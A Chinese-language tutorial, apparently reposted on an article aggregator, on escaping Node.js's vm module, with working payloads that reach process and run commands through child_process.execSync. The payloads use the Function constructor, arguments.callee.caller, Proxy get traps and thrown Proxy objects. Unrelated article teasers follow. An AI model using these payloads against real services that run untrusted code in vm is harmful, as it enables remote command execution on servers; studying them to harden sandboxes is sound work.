Nodejs沙箱绕过

目录

JavaScript和Nodejs介绍

沙箱(sandbox)

简单的介绍一下vm模块

下面介绍几种绕过方式

方法1:利用Function构造函数沙箱逃逸,执行命令

 方法2:利用argument.callee.caller实现

方法3:利用ES6的 proxy 模式来劫持外部get操作

三种特殊情况:

情况一:沙箱外如果执行了比如连接字符串等操作

情况二:如果沙箱外没有执行字符串相关操作

情况三:如果沙箱的返回值没有做任何事,或者没有捕捉返回值


沙箱逃逸的前提是:我们可以从沙箱内部通过属性或者方法或者其他方式访问到沙箱外部

JavaScript和Nodejs介绍

JavaScript用在浏览器前端,后来将Chrome中的v8引擎单独拿出来为JavaScript单独开发了一个运行环境,因此JavaScript也可以作为一门后端语言,写在后端(服务端)的JavaScript就叫叫做Nodejs。

沙箱(sandbox)

当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。

简单的介绍一下vm模块

vm模块是node.js内置的一个模块,理论上不能叫做沙箱,它只是Node.js提供给使用者的一个隔离环境

使用方法很简单,我们执行m+n这个表达式:

const vm = require('vm') //这是一个沙箱环境
const script = `m+n` //这里就是要在沙箱中执行的脚本
const sandbox = { m: 1, n: 2 } //这里是具体执行的值
const context = new vm.createContext(sandbox) //创建一个沙箱环境上下文
const res = vm.runInContext(script, sandbox) //这里将脚本和执行的值在沙箱环境上下文中运行
console.log(res); //打印值

我们可以在文件的目录下执行node vm.js来运行代码 

 

可以看到,我们成功的在沙箱中执行了脚本,并且返回了执行的结果

但是这个环境是很容易绕过的,这个环境中上下文有三个对象:

this指向传给vm.createContext的那个对象

m等于数字1

n等于数字2

我们可以使用外部传入的对象,比如this来引入当前上下文里面没有的模块,进而绕过这个隔离环境,比如:

this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()

第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码,然后在执行,即可获得process对象。

第二行,利用前面获取的process对象既可以干任何事。

那么问题就来了!

1、为什么不直接使用{}.toString.constructor('return process')(),却要使用this呢?

这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

2、m和n也是沙盒外的对象,为什么不用m.toString.constructor('return process')()呢?

因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的

所以,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

那么我们就可以总结一下沙箱绕过的核心原理:

只要在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

下面介绍几种绕过方式

方法1:利用Function构造函数沙箱逃逸,执行命令

利用引用类型:

const vm = require('vm') //这是一个沙箱环境
const script = `
const process = x.toString.constructor('return process') ()
process.mainModule.require('child_process').execSync('ipconfig').toString()
const sandbox = { m: [], n: {}, x: /regexp/ } //
` 
const context = new vm.createContext(sandbox) //创建一个沙箱环境上下文
const res = vm.runInContext(script, sandbox) //这里将脚本和执行的值在沙箱环境上下文中运行
console.log(res); //打印值

上面通过新建了一个 process,将通过x.tostring.constructor拿到的process模块,这时的sandbox中的数值是任意的引用类型

然后通过拿到的process.mainMoudule.require方法,拿到c'child_process'子模块,然后通过exec.Sync方法执行我们的命令

 

这样就成功的利用了沙箱逃逸实现了任意命令执行,虽然出现了乱码,但是不影响我们的命令执行

利用this: 

const vm = require('vm') //这是一个沙箱环境
const script = `
const process = this.constructor('return process') ()
process.mainModule.require('child_process').execSync('dir').toString()
` //这样我们就拿到了Function构造函数了,拿到了process模块,调用process子模块,然后通过调用process的方法来实现任意命令执行
const sandbox = { m:1, n:2 } //
const context = new vm.createContext(sandbox) //创建一个沙箱环境上下文
const res = vm.runInContext(script, sandbox) //这里将脚本和执行的值在沙箱环境上下文中运行
console.log(res); //打印值

这里与利用引用类型不同的是通过 this方法来实现的,将x换位了this,那么这时,sandbox中的值就不要求是一些类型的引用,可以是任意的数值了

可以看到也成功的实现了

 方法2:利用argument.callee.caller实现

现在如果有一个这样的一个框架如下所示:

const vm = require('vm'); 
 
const script = `...`; 
 
const sandbox = Object.create(null); 
 
const context = new vm.createContext(sandbox); 
 
const res = vm.runInContext(script, context); 
 
console.log('Hello ' + res) 

在 JavaScript 中,this 关键字的值取决于函数的执行上下文。

在全局作用域中,this 通常指向全局对象(如浏览器环境中的 window 对象,Node.js 环境中的 global 对象)。但是,在使用 Object.create(null) 创建的对象上下文中,this 将为 null。

const sandbox = Object.create(null);

Object.create(null) 是一个创建一个新对象的方法,该对象没有继承自任何原型链。

在 JavaScript 中,Object.create(null) 会创建一个纯净的对象,它没有继承自 Object.prototype 或任何其他原型对象,因此不会拥有默认的原型方法和属性。这样的对象通常被称为“空对象”或“纯净对象”。

在这个纯净对象 sandbox 上下文中,由于没有原型链,它的 this 值将为 null。

也就是说,如果在 sandbox 对象的上下文中使用 this 关键字,它将是 null。

这时,上面使用this和引用类型的来访问外部模块的方法就没有办法生效了,那么我们就可以通过callee和caller来进行实现

我们先介绍一下callee和caller这两个属性:

  •  callee 和 caller  都是已经被废弃的属性
  •  callee,会指向调用函数本身
  •  caller,会指向谁调用你的函数

具体实现:

const vm = require('vm');
const script = `(()=> {
    const a= {}
    a.toString = function () {
        const cc= arguments.callee.caller
        const p =(cc.constructor('return process'))()
        return p.mainModule.require('child_process').execSync('whoami').toString()
​
    }
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello' + res); //js中某一个东西和字符串拼接,最终的结果是一个字符串

 

首先我们可以看到sandbox沙箱环境是使用Object.create(null)这样的一种环境,前面我们已经了解到使用Object.create(null)的对象的的原型链是null,即不能使用this指向,也没有任何方式方法,这里相当于修复了上一种方法的逃逸,

然后我们就使用了在打印的时候使用字符串 拼接 沙箱中执行的代码后最种结果是一个字符串这样一个特性,然后这样上面的a.toString 方法就可以使用外部的toString方法,利用toSting.constrrcyor会返回Function的性质,拿到了Function 函数,然后就是和方法1一样的调用process,成功的逃出nodejs沙箱,实现了任意命令执行

方法3:利用ES6的 proxy 模式来劫持外部get操作

Proxy可理解为:在目标对象前架设一层“拦截”,外界对该对象的访问,都必须先通过这层拦截,相当于对外界的访问进行过滤和改写。

例如:拦截读取属性行为:

var proxy = new Proxy(){
    get:function(target,proKey){
        return 35;
    }
}
proxy.time  // 35
proxy.name  // 35
proxy.title // 35

上面方法2的前提是打印时,需要与一个字符串拼接的行为,那么如果没有了这个字符串拼接应该怎么逃逸呢

那么我们就可以使用代理来实现nodejs沙箱逃逸,实现命令执行:

const vm = require('vm');
const script = `(() => {
    const a = new Proxy({},{
        get:function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').execSync('whoami').toString()
        }
     })
return a })()`;
// // 定义代理模式,将代理模式定义为空对象,这个空对象有get方法
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.xxx);

三种特殊情况:

情况一:沙箱外如果执行了比如连接字符串等操作

const vm = require('vm');
const script = `
(() => {
    const a = {}
    a.toString = function () {
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello ' + res); 

 

toString就是定义的恶意函数,里面拿到了caller,再通过caller的constructor来获取process,最后执行命令。

沙箱外如果执行了比如连接字符串等操作,就会执行这个toString函数,进而触发命令执行。

情况二:如果沙箱外没有执行字符串相关操作

我们可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码:

const vm = require('vm');
const script = `
(() => {  
const a = new Proxy({}, { 
get: function() {      
const cc = arguments.callee.caller;      
const p = (cc.constructor.constructor('return process'))();     
 return p.mainModule.require('child_process').execSync('whoami').toString()
}  
})    
return a })()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello ' + res);

 

情况三:如果沙箱的返回值没有做任何事,或者没有捕捉返回值

我们可以借助异常,把我们沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞:

const vm = require('vm');
const script = `throw new Proxy({}, { 
    get: function() { 
     const cc = arguments.callee.caller; 
    const p = (cc.constructor.constructor('return process'))(); 
    return p.mainModule.require('child_process').execSync('whoami').toString() 
    }  
    }) `;
try { vm.runInContext(script, vm.createContext(Object.create(null))); }
catch (e) { console.log('error happend: ' + e); }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/127265.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

虚幻引擎 5.1 中全新的增强型输入操作系统

教程链接 https://www.youtube.com/watch?vCYiHNbAIp4s 前提 虚幻引擎5.1之后,项目设置里的input选项,默认会有一条警告,告知旧的input系统已经不能用了。 做法 在content文件夹下新建一个input按钮 input文件夹里面分成两部分内容 1.…

Java必考面试题,谈谈你对 Spring AOP 的理解

大家好,我是伍六七。 今天我们来学习 Spring 框架中最重要的概念之一:AOP。 这是一个 Java 程序员必考的面试题,大家好好理解。我们开始正文。 AOP 的概念 Spring AOP 是 Java 程序员们面试经常被问到的一个问题,但 AOP&#…

高等数学教材啃书汇总重难点(三)微分中值定理与导数的应用

本章节包含多个知识点,一些列微分中值定理是考研证明题的重头戏,而洛必达和泰勒展开则是方法论的天花板难度,虽然对于小题的考察难度较低,整体上仍需重点复习 首先是考研大纲包含的内容: 1.理解并会用罗尔(Rolle)定理、…

万字详解Java的三大特性:封装 | 继承 | 多态

前言:面向对象程序设计的三大特征就是:封装,继承,多态。在前文介绍了类和对象后,我们就可以继而学习什么是封装,怎么用类的子类来实现继承和多态 目录 一.面向对象的特性 1.封装性 2.继承性 3.多态性…

Find My行李箱|苹果Find My技术与行李箱结合,智能防丢,全球定位

行李箱,亦称旅行箱、拉杆箱。是出门时所携带用以放置物品的箱子,它是行李的其中一种类型。通常行李箱是用来放置旅途上所需要的衣物、个人护理用品、纪念品和贵重物品。旅游出差我们离不开行李箱,可是一旦行李箱丢失将造成很大不便&#xff0…

蓝桥杯双周赛算法心得——串门(双链表数组+双dfs)

大家好,我是晴天学长,树和dfs的结合,其邻接表的存图方法也很重要。需要的小伙伴可以关注支持一下哦!后续会继续更新的。💪💪💪 1) .串门 2) .算法思路 串门(怎么存图很关键&#xf…

基于springboot学生心理咨询评估系统的设计与实现 全套代码 全套文档 附带视频知道教程

springboot学生心理咨询评估系统,springboot vue mysql (毕业论文10784字以上,共30页,程序代码,MySQL数据库) 代码下载: 链接:https://pan.baidu.com/s/1MjiwuWdkVHFQ4toPP1vVrA?pwd4eck 提取码:4eck 【运行环境】 IDEA, JDK1.8, Mysql, Node, Vue …

阿里云服务器ECS经济型e实例和u1有什么区别?

阿里云服务器ECS经济型e实例和通用算力型u1实例有什么区别?如何选择?ECS经济型e实例是共享型云服务器,通用算力型u实例是企业级独享型云服务器,e实例性价比高,现在2核2G3M带宽一年99元,云服务器u1价格相对要…

浅析SR隧道路径批量构造方法

为什么要仿真PCE LSP下发隧道路径? 在大型的多区域网络中,路径计算非常复杂。在某些场景下,为了完成路径计算,需要在控制器上部署特殊的计算组件,并需要不同区域中的节点之间协作。这使得网元在进行路径计算时效率低&…

直播实时数仓基于DataLeap开放平台在发布管控场景的业务实践

更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群 背景 业务背景 随着字节业务的高速增长,业务场景越来越丰富,业务基于数据做的决策也越来越多,对数据的时效性要求也越来越高。…

layui table合计 totalRow 保留4位小数\ 异步请求数据的表格 新增行之后 如何更新数据

layui table合计 totalRow 保留4位小数: 例: totalRowMethod:(column: any, dataSource: any[]) > { let total 0; dataSource.forEach((item) > { total total Number(item[column.key]); …

Vite依赖预构建

本文使用的包管理工具是 npm 开发工具是 vscode 本文作为对 vite的了解性内容即可,实际开发中并不会做太多的工作 依赖预构建干了啥 首先vite会找到对应的依赖, 然后调用 esbuild(对js语法进行处理的一个库), 将其他规范的代码转换成 esmodu…

Web前端—CSS高级(定位、高级技巧、CSS修饰属性、综合案例:购物网站轮播图)

版本说明 当前版本号[20231108]。 版本修改说明20231107初版20231108对知识点(圆点)进行补充 目录 文章目录 版本说明目录day08-CSS高级01-定位相对定位绝对定位定位居中固定定位堆叠层级 z-index定位总结 02-高级技巧CSS精灵案例-京东服务HTML结构CS…

API是什么?解密API背后的奥秘

API,全称Application Programming Interface,是一种用于不同应用程序间通信的接口,它允许不同的应用程序之间交换数据和功能。API可以理解为应用程序提供给其他应用程序或开发者的接口,通过这个接口,其他应用程序或开发…

将 Ordinals 与比特币智能合约集成:第 4 部分

控制 BSV-20 代币的分配 在上一篇文章中,我们展示了智能合约可以在铸造后控制 BSV-20 代币的转移。 今天,我们演示如何控制此类代币的分发/发行。 无Tick模式 BSV-20 在 V2 中引入了无Tick模式,并采用了与 V1 不同的方法。 部署 (Deploy) …

openinstall携手途虎养车,赋能汽车服务数字化

近日,openinstall与中国领先的一站式汽车服务平台途虎养车再次续约,双方将开启第三年合作。过去两年,途虎在建设线上线下一体化数字平台的过程中,深度结合openinstall传参归因与渠道统计技术,打造出了一套高效的渠道来…

聚焦千兆光模块和万兆光模块的测试技术及设备

千兆光模块和万兆光模块的测试技术涉及多个方面,如光学性能测试、电气性能测试、动态性能测试、温度测试、环境和耐久性测试等。不同的测试技术可以验证不同的光模块的性能和稳定性,从而确保光模块在各种应用场景下的可靠性,下面将介绍一些常…

PSP - 蛋白质复合物结构预测 模版配对(Template Pair) 逻辑的特征分析

欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/134328447 在 蛋白质复合物结构预测 的过程中,模版 (Template) 起到重要作用,提供预测结果的关于三维结构的先验信息&…

Ubuntu2004字体不清晰,排查流程

昨天一早来发现平时用的Ubuntu2004物理机的字体变得很模糊,之前还是好好的,这里记录一下解决方案。 解决方案 通过显示器物理按键设置“自适应”解决,我的显示器是长城的,“自适应”按钮是右边从下往上数第二个。 排查流程 我先…

WordPress Modown 6.2付费下载资源/付费查看内容 wp主题模板+erphpdown11.7

模板简介: 自适应响应式设计,兼容主流浏览器 网格样式与瀑布流样式任意切换 内置SEO优化 自带与主题UI完美兼容搭配的erphpdown前端用户中心页面(此功能若单独找我们定制也需要几百) 收费付费下载资源、付费查看内容、付费观看…